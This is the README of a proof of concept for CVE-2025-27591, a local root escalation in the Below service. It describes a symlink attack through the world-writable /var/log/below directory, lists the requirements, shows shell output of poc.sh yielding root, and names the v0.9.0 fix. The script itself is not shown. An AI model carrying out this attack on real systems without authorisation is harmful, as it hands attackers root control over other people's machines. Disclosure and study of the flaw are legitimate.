CVE-2025-27591 PoC: Local Privilege Escalation in Below < v0.9.0

Proof of Concept for CVE-2025-27591, a vulnerability that allows to local unprivileged users to escalate their privileges to root through symlink attacks.

🕵️‍♂️ Technical Details

The vulnerability affects the Below service (versions prior to v0.9.0). It creates a /var/log/below directory with world-writable permissions (0777), allowing unprivileged local users to relocate symbolic links and manipulate critical files such as /etc/shadow, resulting in escalation to root.

🧩 Impact

A local, unprivileged user can escalate to root by:

• Creating a symlink in /var/log/below to a sensitive system file.
• Triggering the service with sudo (e.g., sudo below snapshot), causing Below to write to the symlink with root privileges.

✅ Requirements

• /var/log/below/ must have world-writable permissions (0777) and contain the error_root.log file.
• You must be allowed to use sudo /usr/bin/below.

foo@victim:~$ ls -l /var/log/ | grep below
drwxrwxrwx  3 root      root               4096 Jul  8 20:45 below

🛠️ Usage

We will need privileges at the sudoers level.

foo@victim:~$ sudo -l
Matching Defaults entries for jacob on victim:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User foo may run the following commands on victim:
    (ALL : ALL) NOPASSWD: /usr/bin/below

Once we have the poc.sh file, we will give it the necessary permissions, execute it, and we'll be root.

foo@victim:/tmp$ chmod +x poc.sh
foo@victim:/tmp$ ./poc.sh 
evil@victim:/tmp# id
uid=0(evil) gid=0(root) groups=0(root)

✅ Official Fix

Upgrade to Below v0.9.0 or later, which removes the insecure chmod logic and relies on systemd unit features like LogsDirectory=below

⚖️ Legal

• This script is for educational purposes. Always obtain explicit permission before testing.

📚 References

• NVD
• wiz.io
• SUSE Security